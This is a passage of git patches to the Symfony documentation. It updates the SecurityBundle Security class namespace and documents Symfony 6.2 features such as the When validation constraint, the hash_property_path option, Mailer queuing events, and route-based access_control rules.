-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     // ...
 
     class FriendMessageFormType extends AbstractType
@@ -260,7 +260,7 @@ security helper to fill in the listener logic::
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Form\Extension\Core\Type\TextareaType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     // ...
diff --git a/security.rst b/security.rst
index 8bf921f419a..63b74c14508 100644
--- a/security.rst
+++ b/security.rst
@@ -598,12 +598,12 @@ Fetching the Firewall Configuration for a Request
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to get the configuration of the firewall that matched a given request,
-use the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
+use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
 
     // src/Service/ExampleService.php
     // ...
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\HttpFoundation\RequestStack;
 
     class ExampleService
@@ -1609,23 +1609,23 @@ Login Programmatically
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
     ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::login`
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::login`
     method was introduced in Symfony 6.2.
 
 You can log in a user programmatically using the `login()` method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
     namespace App\Controller\SecurityController;
 
     use App\Security\Authenticator\ExampleAuthenticator;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class SecurityController
     {
@@ -1779,22 +1779,22 @@ Logout programmatically
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\Bundle\SecurityBundle\Security\Security <Symfony\\Bundle\\SecurityBundle\\Security\\Security>`
+    The :class:`Symfony\Bundle\SecurityBundle\Security <Symfony\\Bundle\\SecurityBundle\\Security>`
     class was introduced in Symfony 6.2. Prior to 6.2, it was called
     ``Symfony\Component\Security\Core\Security``.
 
 .. versionadded:: 6.2
 
-    The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::logout`
+    The :method:`Symfony\\Bundle\\SecurityBundle\\Security::logout`
     method was introduced in Symfony 6.2.
 
 You can logout user programmatically using the ``logout()`` method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
     namespace App\Controller\SecurityController;
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class SecurityController
     {
@@ -1896,12 +1896,12 @@ Fetching the User from a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to get the logged in user from a service, use the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
 
     // src/Service/ExampleService.php
     // ...
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class ExampleService
     {
@@ -1925,7 +1925,7 @@ If you need to get the logged in user from a service, use the
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` class
+    The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
     was introduced in Symfony 6.2. In previous Symfony versions this class was
     defined in ``Symfony\Component\Security\Core\Security``.
 
@@ -2333,7 +2333,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
       // ...
       use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Bundle\SecurityBundle\Security\Security;
+    + use Symfony\Bundle\SecurityBundle\Security;
 
       class SalesReportManager
       {
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index b51a96d6fec..9926e1ef3b0 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -160,7 +160,7 @@ the impersonator user::
     // src/Service/SomeService.php
     namespace App\Service;
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Security\Core\Authentication\Token\SwitchUserToken;
     // ...
 
@@ -367,7 +367,7 @@ logic you want::
     // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
     use Symfony\Component\Security\Core\User\UserInterface;
diff --git a/security/voters.rst b/security/voters.rst
index 320b44af37e..0755e17f39d 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -222,7 +222,7 @@ with ``ROLE_SUPER_ADMIN``::
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
 
     class PostVoter extends Voter
     {
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index a9114216ea8..7772c68fcf5 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -110,7 +110,7 @@ can intercept the session before it is written::
     namespace App\Session;
 
     use App\Entity\User;
-    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
 
     class ReadOnlySessionProxy extends SessionHandlerProxy

From 0b60280af6b2c41f0103fa18bfcb5d3af52ee44a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 22 Oct 2022 13:24:59 +0200
Subject: [PATCH 2461/5766] [#17383] Small tweaks to code examples

---
 messenger/multiple_buses.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 1db16409d0b..d841ae7e5c3 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -34,13 +34,13 @@ an **event bus**. The event bus could have zero or more subscribers.
                         middleware:
                             - validation
                     event.bus:
-                        # the 'allow_no_handlers' middleware allows to have no handler
-                        # configured for this bus without throwing an exception
-                        # the 'allow_no_senders' middleware allows to have no sender
-                        # configured for this bus without throwing an exception
                         default_middleware:
                             enabled: true
+                            # set "allow_no_handlers" to true (default is false) to allow having
+                            # no handler configured for this bus without throwing an exception
                             allow_no_handlers: false
+                            # set "allow_no_senders" to false (default is true) to throw an exception
+                            # if no sender is configured for this bus
                             allow_no_senders: true
                         middleware:
                             - validation
@@ -67,12 +67,12 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
                     </framework:bus>
-                    <!-- the 'allow_no_handlers' middleware allows to have no handler
-                         configured for this bus without throwing an exception -->
-                    <!-- the 'allow_no_senders' middleware allows to have no sender
-                         configured for this bus without throwing an exception -->
                     <framework:bus name="event.bus">
-                        <framework:default-middleware enabled="true" allow_no_handlers="false" allow_no_senders="true"/>
+                        <!-- set "allow-no-handlers" to true (default is false) to allow having
+                              no handler configured for this bus without throwing an exception -->
+                        <!-- set "allow-no-senders" to false (default is true) to throw an exception
+                             if no sender is configured for this bus -->
+                        <framework:default-middleware enabled="true" allow-no-handlers="false" allow-no-senders="true"/>
                         <framework:middleware id="validation"/>
                     </framework:bus>
                 </framework:messenger>
@@ -96,13 +96,13 @@ an **event bus**. The event bus could have zero or more subscribers.
             $queryBus->middleware()->id('validation');
 
             $eventBus = $framework->messenger()->bus('event.bus');
-            // the 'allowNoHandlers' middleware allows to have no handler
-            // configured for this bus without throwing an exception
-            // the 'allowNoSenders' middleware allows to have no sender
-            // configured for this bus without throwing an exception
             $eventBus->defaultMiddleware()
                 ->enabled(true)
+                // set "allowNoHandlers" to true (default is false) to allow having
+                // no handler configured for this bus without throwing an exception
                 ->allowNoHandlers(false)
+                // set "allowNoSenders" to false (default is true) to throw an exception
+                // if no sender is configured for this bus
                 ->allowNoSenders(true)
             ;
             $eventBus->middleware()->id('validation');

From 228d73e5796025a36696c69fd7ec7f74708d7d41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20ALFAIATE?= <seb33300@hotmail.com>
Date: Wed, 29 Sep 2021 14:22:29 +0700
Subject: [PATCH 2462/5766] [Form] Document the `hash_property_path` option

---
 reference/forms/types/password.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index d512be22594..6d87ae57af7 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -35,6 +35,34 @@ with the ``value`` attribute set to its true value only upon submission.
 If you want to render your password field *with* the password value already
 entered into the box, set this to false and submit the form.
 
+``hash_property_path``
+~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+.. versionadded:: 6.2
+
+    The ``hash_property_path`` option was introduced in Symfony 6.2.
+
+If set, the password will be hashed using the
+:doc:`PasswordHasher component </security/passwords>` and stored in the
+specified property.
+
+Data passed to the form must be a
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
+object.
+
+.. caution::
+
+    To minimize the risk of leaking the plain password, this option can
+    only be used with the :ref:`"mapped" option <reference-form-password-mapped>`
+    set to ``false``::
+
+        $builder->add('plainPassword', PasswordType::class, [
+            'hash_property_path' => 'password',
+            'mapped' => false,
+        ]);
+
 Overridden Options
 ------------------
 
@@ -81,6 +109,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
+.. _reference-form-password-mapped:
+
 .. include:: /reference/forms/types/options/mapped.rst.inc
 
 .. include:: /reference/forms/types/options/required.rst.inc

From 485d57e202517de19b15f4abcf265ded6e3b0dce Mon Sep 17 00:00:00 2001
From: Guillem Fondin <guillem.fondin@hotmail.fr>
Date: Mon, 17 Oct 2022 19:13:28 +0200
Subject: [PATCH 2463/5766] [Validator] Email -  new `allow-no-tld` mode

---
 reference/constraints/Email.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 85bbcb00be2..3dc98946638 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -109,19 +109,24 @@ This option defines the pattern used to validate the email address. Valid values
 * ``loose`` uses a simple regular expression (just checks that at least one ``@``
   character is present, etc.). This validation is too simple and it's recommended
   to use one of the other modes instead;
-* ``html5`` uses the same regular expression as the `HTML5 email input element`_,
-  making the backend validation consistent with the one provided by browsers;
+* ``html5`` uses the regular expression of the `HTML5 email input element`_,
+  except it enforces a tld to be present.
+* ``html5-allow-no-tld`` uses exactly the same regular expression as the `HTML5 email input element`_,
+  making the backend validation consistent with the one provided by browsers.
 * ``strict`` validates the address according to `RFC 5322`_ using the
   `egulias/email-validator`_ library (which is already installed when using
   :doc:`Symfony Mailer </mailer>`; otherwise, you must install it separately).
 
+.. versionadded:: 6.2
+
+   The ``html5-allow-no-tld`` mode was introduced in 6.2.
+
 .. tip::
 
     The possible values of this option are also defined as PHP constants of
     :class:`Symfony\\Component\\Validator\\Constraints\\Email`
     (e.g. ``Email::VALIDATION_MODE_STRICT``).
 
-
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.

From d627e1c92913f5174357f81665f4decfb7d6703b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 13 Oct 2022 23:35:34 +0200
Subject: [PATCH 2464/5766] [Notifier] Add from in SmsMessage and support it in
 bridge transports

---
 notifier/texters.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/notifier/texters.rst b/notifier/texters.rst
index 6e1590ef90c..0ba164a3789 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -23,7 +23,9 @@ you to send SMS messages::
                 // the phone number to send the SMS message to
                 '+1411111111',
                 // the message
-                'A new login was detected!'
+                'A new login was detected!',
+                // optionally, you can override default "from" defined in transports
+                '+1422222222',
             );
 
             $sentMessage = $texter->send($sms);
@@ -32,6 +34,10 @@ you to send SMS messages::
         }
     }
 
+.. versionadded:: 6.2
+
+    The 3rd argument of ``SmsMessage`` (``$from``) was introduced in Symfony 6.2.
+
 The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.

From 620a9417a054ce77949112360858ab71c839f59d Mon Sep 17 00:00:00 2001
From: Christopher Hertel <mail@christopher-hertel.de>
Date: Sun, 23 Oct 2022 13:38:58 +0200
Subject: [PATCH 2465/5766] add section for editing telegram messages

---
 notifier/chatters.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 972f89885fe..c8e5c103672 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -306,6 +306,32 @@ to add `message options`_::
 
     $chatter->send($chatMessage);
 
+Updating Telegram Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When working with interactive callback buttons, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to reference
+a previous message to edit::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Are you really sure?');
+    $telegramOptions = (new TelegramOptions())
+        ->chatId($chatId)
+        ->edit($messageId) // extracted from callback payload or SentMessage
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Absolutely'))->callbackData('yes'),
+            ])
+        );
+
+.. versionadded:: 6.2
+
+    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
+
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 

From a2a82fc6a09a80ac8ba59914b6b21fd092a5c2c5 Mon Sep 17 00:00:00 2001
From: wuchen90 <chen90@hotmail.fr>
Date: Mon, 16 Aug 2021 18:32:46 +0200
Subject: [PATCH 2466/5766] [Validator] Add the Conditional constraint and
 validator docs

---
 reference/constraints.rst      |   1 +
 reference/constraints/When.rst | 288 +++++++++++++++++++++++++++++++++
 2 files changed, 289 insertions(+)
 create mode 100644 reference/constraints/When.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index f3851bdb97a..9b83eda23ca 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -72,6 +72,7 @@ Validation Constraints Reference
    constraints/Compound
    constraints/Callback
    constraints/Expression
+   constraints/When
    constraints/All
    constraints/UserPassword
    constraints/NotCompromisedPassword
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
new file mode 100644
index 00000000000..79f1cb8ffa2
--- /dev/null
+++ b/reference/constraints/When.rst
@@ -0,0 +1,288 @@
+When
+====
+
+.. versionadded:: 6.2
+
+    The ``When`` constraint was introduced in Symfony 6.2.
+
+This constraint allows you to apply constraints validation only if the
+provided expression returns true. See `Basic Usage`_ for an example.
+
+==========  ===================================================================
+Applies to  :ref:`class <validation-class-target>`
+            or :ref:`property/method <validation-property-target>`
+Options     - `expression`_
+            - `constraints`_
+            - `groups`_
+            - `payload`_
+            - `values`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\When`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\WhenValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+Imagine you have a class ``Discount`` with ``type`` and ``value``
+properties::
+
+    // src/Model/Discount.php
+    namespace App\Model;
+
+    class Discount
+    {
+        private ?string $type;
+
+        private ?int $value;
+
+        // ...
+
+        public function getType(): ?string
+        {
+            return $this->type;
+        }
+
+        public function getValue(): ?int
+        {
+            return $this->value;
+        }
+    }
+
+To validate the object, you have some requirements:
+
+A) If ``type`` is ``percent``, then ``value`` must be less than or equal 100;
+B) If ``type`` is ``absolute``, then ``value`` can be anything;
+C) No matter the value of ``type``, the ``value`` must be greater than 0.
+
+One way to accomplish this is with the When constraint:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Discount
+        {
+            #[Assert\GreaterThan(0)]
+            #[Assert\When(
+                expression: 'this.type == "percent"',
+                constraints: [
+                    new Assert\LessThanOrEqual(100, message: 'The value should be between 1 and 100!')
+                ],
+            )]
+            private ?int $value;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Model\Discount:
+            properties:
+                value:
+                    - GreaterThan: 0
+                    - When:
+                        expression: "this.type == 'percent'"
+                        constraints:
+                            - LessThanOrEqual:
+                                value: 100
+                                message: "The value should be between 1 and 100!"
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+            <class name="App\Model\Discount">
+                <property name="value">
+                    <constraint name="GreaterThan">0</constraint>
+                    <constraint name="When">
+                        <option name="expression">
+                            this.type == 'percent'
+                        </option>
+                        <option name="constraints">
+                            <constraint name="LessThanOrEqual">
+                                <option name="value">100</option>
+                                <option name="message">The value should be between 1 and 100!</option>
+                            </constraint>
+                        </option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Discount
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
+                $metadata->addPropertyConstraint('value', new Assert\When([
+                    'expression' => 'this.type == "percent"',
+                    'constraints' => [
+                        new Assert\LessThanOrEqual([
+                            'value' => 100,
+                            'message' => 'The value should be between 1 and 100!',
+                        ]),
+                    ],
+                ]));
+            }
+
+            // ...
+        }
+
+The `expression`_ option is the expression that must return true in order
+to trigger the validation of the attached constraints. To learn more about
+the expression language syntax, see :doc:`/components/expression_language/syntax`.
+
+For more information about the expression and what variables are available
+to you, see the `expression`_ option details below.
+
+Options
+-------
+
+``expression``
+~~~~~~~~~~~~~~
+
+**type**: ``string``
+
+The condition written with the expression language syntax that will be evaluated.
+If the expression evaluates to a falsey value (i.e. using ``==``, not ``===``),
+validation of constraints won't be triggered.
+
+To learn more about the expression language syntax, see
+:doc:`/components/expression_language/syntax`.
+
+Depending on how you use the constraint, you have access to 1 or 2 variables
+in your expression:
+
+``this``
+    The object being validated (e.g. an instance of Discount).
+``value``
+    The value of the property being validated (only available when
+    the constraint is applied to a property).
+
+The ``value`` variable can be used when you want to execute more complex
+validation based on its value:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Context\ExecutionContextInterface;
+
+        class Discount
+        {
+            #[Assert\When(
+                expression: 'value == "percent"',
+                constraints: [new Assert\Callback('doComplexValidation')],
+            )]
+            private ?string $type;
+            // ...
+
+            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Model\Discount:
+            properties:
+                type:
+                    - When:
+                        expression: "value == 'percent'"
+                        constraints:
+                            - Callback: doComplexValidation
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+            <class name="App\Model\Discount">
+                <property name="type">
+                    <constraint name="When">
+                        <option name="expression">
+                            value == 'percent'
+                        </option>
+                        <option name="constraints">
+                            <constraint name="Callback">
+                                <option name="callback">doComplexValidation</option>
+                            </constraint>
+                        </option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Model/Discount.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Discount
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('type', new Assert\When([
+                    'expression' => 'value == "percent"',
+                    'constraints' => [
+                        new Assert\Callback('doComplexValidation'),
+                    ],
+                ]));
+            }
+
+            public function doComplexValidation(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
+You can also pass custom variables using the `values`_ option.
+
+``constraints``
+~~~~~~~~~~~~~~~
+
+**type**: ``array``
+
+The constraints that are applied if the expression returns true.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+``values``
+~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+The values of the custom variables used in the expression. Values can be of any
+type (numeric, boolean, strings, null, etc.)

From 32b47932424ac3b8294a4d16502199c3aa002e6e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 23 Oct 2022 16:17:41 +0200
Subject: [PATCH 2467/5766] [#17392] Move versionadded to the start of the
 section

---
 notifier/chatters.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index c8e5c103672..37d8631c067 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -309,6 +309,10 @@ to add `message options`_::
 Updating Telegram Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.2
+
+    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
+
 When working with interactive callback buttons, you can use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to reference
 a previous message to edit::
@@ -328,10 +332,6 @@ a previous message to edit::
             ])
         );
 
-.. versionadded:: 6.2
-
-    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
-
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 

From 7dbe95061e084d72311921ca2a1869aaa1ab451e Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 23 Oct 2022 12:23:00 +0200
Subject: [PATCH 2468/5766] Add docs about Mailer stamps

---
 mailer.rst | 46 ++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 44 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8c94cc75d1a..c15f2833083 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1429,8 +1429,8 @@ MessageEvent
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent`
 
-``MessageEvent`` allows to change the Message and the Envelope before the email
-is sent::
+``MessageEvent`` allows to change the Mailer message and the envelope before
+the email is sent::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\MessageEvent;
@@ -1459,6 +1459,48 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
+QueuingMessageEvent
+~~~~~~~~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\QueuingMessageEvent`
+
+.. versionadded:: 6.2
+
+    The ``QueuingMessageEvent`` class was introduced in Symfony 6.2.
+
+``QueuingMessageEvent`` allows to add some logic before the email is sent to
+the Messenger bus (this event is not dispatched when no bus is configured); it
+extends ``MessageEvent`` to allow adding Messenger stamps to the Messenger
+message sent to the bus::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\QueuingMessageEvent;
+    use Symfony\Component\Mime\Email;
+
+    public function onMessage(QueuingMessageEvent $event): void
+    {
+        $message = $event->getMessage();
+        if (!$message instanceof Email) {
+            return;
+        }
+        // do something with the message (logging, ...)
+
+        // and/or add some Messenger stamps
+        $event->addStamp(new SomeMessengerStamp());
+    }
+
+This event lets listeners do something before a message is sent to the queue
+(like adding stamps or logging) but any changes to the message or the envelope
+are discarded. To change the message or the envelope, listen to
+``MessageEvent`` instead.
+
+Execute this command to find out which listeners are registered for this event
+and their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\QueuingMessageEvent"
+
 SentMessageEvent
 ~~~~~~~~~~~~~~~~
 

From 0b08f8193e51c4cbdd367da98f0cf0d35e5d9274 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 23 Oct 2022 10:15:22 +0200
Subject: [PATCH 2469/5766] Allow specifying attributes for `RequestMatcher`

---
 security/access_control.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/security/access_control.rst b/security/access_control.rst
index e658e2c844e..6b2d53cd848 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -30,11 +30,17 @@ options are used for matching:
 * ``host``: a regular expression
 * ``methods``: one or many HTTP methods
 * ``request_matcher``: a service implementing ``RequestMatcherInterface``
+* ``attributes``: an array, which can be used to specify one or more :ref:`request attributes <accessing-request-data>` that must match exactly
+* ``route``: a route name
 
 .. versionadded:: 6.1
 
     The ``request_matcher`` option was introduced in Symfony 6.1.
 
+.. versionadded:: 6.2
+
+    The ``route`` and ``attributes`` options were introduced in Symfony 6.2.
+
 Take the following ``access_control`` entries as an example:
 
 .. configuration-block::
@@ -60,6 +66,10 @@ Take the following ``access_control`` entries as an example:
                 # for custom matching needs, use a request matcher service
                 - { roles: ROLE_USER, request_matcher: App\Security\RequestMatcher\MyRequestMatcher }
 
+                # require ROLE_ADMIN for 'admin' route. You can use the shortcut "route: "xxx", instead of "attributes": ["_route": "xxx"]
+                - { attributes: {'_route': 'admin'}, roles: ROLE_ADMIN }
+                - { route: 'admin', roles: ROLE_ADMIN }
+
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
@@ -93,6 +103,12 @@ Take the following ``access_control`` entries as an example:
 
                 <!-- for custom matching needs, use a request matcher service -->
                 <rule role="ROLE_USER" request-matcher="App\Security\RequestMatcher\MyRequestMatcher"/>
+
+                <!-- require ROLE_ADMIN for 'admin' route. You can use the shortcut route="xxx" -->
+                <rule role="ROLE_ADMIN">
+                    <attribute key="_route">admin</attribute>
+                </rule>
+                <rule route="admin" role="ROLE_ADMIN"/>
             </config>
         </srv:container>
 
@@ -144,6 +160,17 @@ Take the following ``access_control`` entries as an example:
                 ->roles(['ROLE_USER'])
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
+
+            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') mehtod,
+            // instead of attributes(['_route' => 'xxx']) method
+            $security->accessControl()
+                ->roles(['ROLE_ADMIN'])
+                ->attributes(['_route' => 'admin'])
+            ;
+            $security->accessControl()
+                ->roles(['ROLE_ADMIN'])
+                ->route('admin')
+            ;
         };
 
 For each incoming request, Symfony will decide which ``access_control``

From f570459d4da09f050d78c884b651ce1c271a4da0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Oct 2022 17:42:15 +0200
Subject: [PATCH 2470/5766] Fix a minor syntax issue

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index caefe93ac19..c6100b0fd62 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1466,7 +1466,7 @@ Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 
         .. code-block:: xml
 
-            # config/packages/doctrine.xml
+            <!-- config/packages/doctrine.xml -->
             <doctrine:dbal schema-filter="~^(?!messenger_messages)~"/>
 
         .. code-block:: php

From b29c212dfc233a2f7bf743462a20cea7a4991626 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Tue, 25 Oct 2022 17:42:28 +0200
Subject: [PATCH 2471/5766] [Session] Add docs to define redis session handler
 via php.ini directly

---
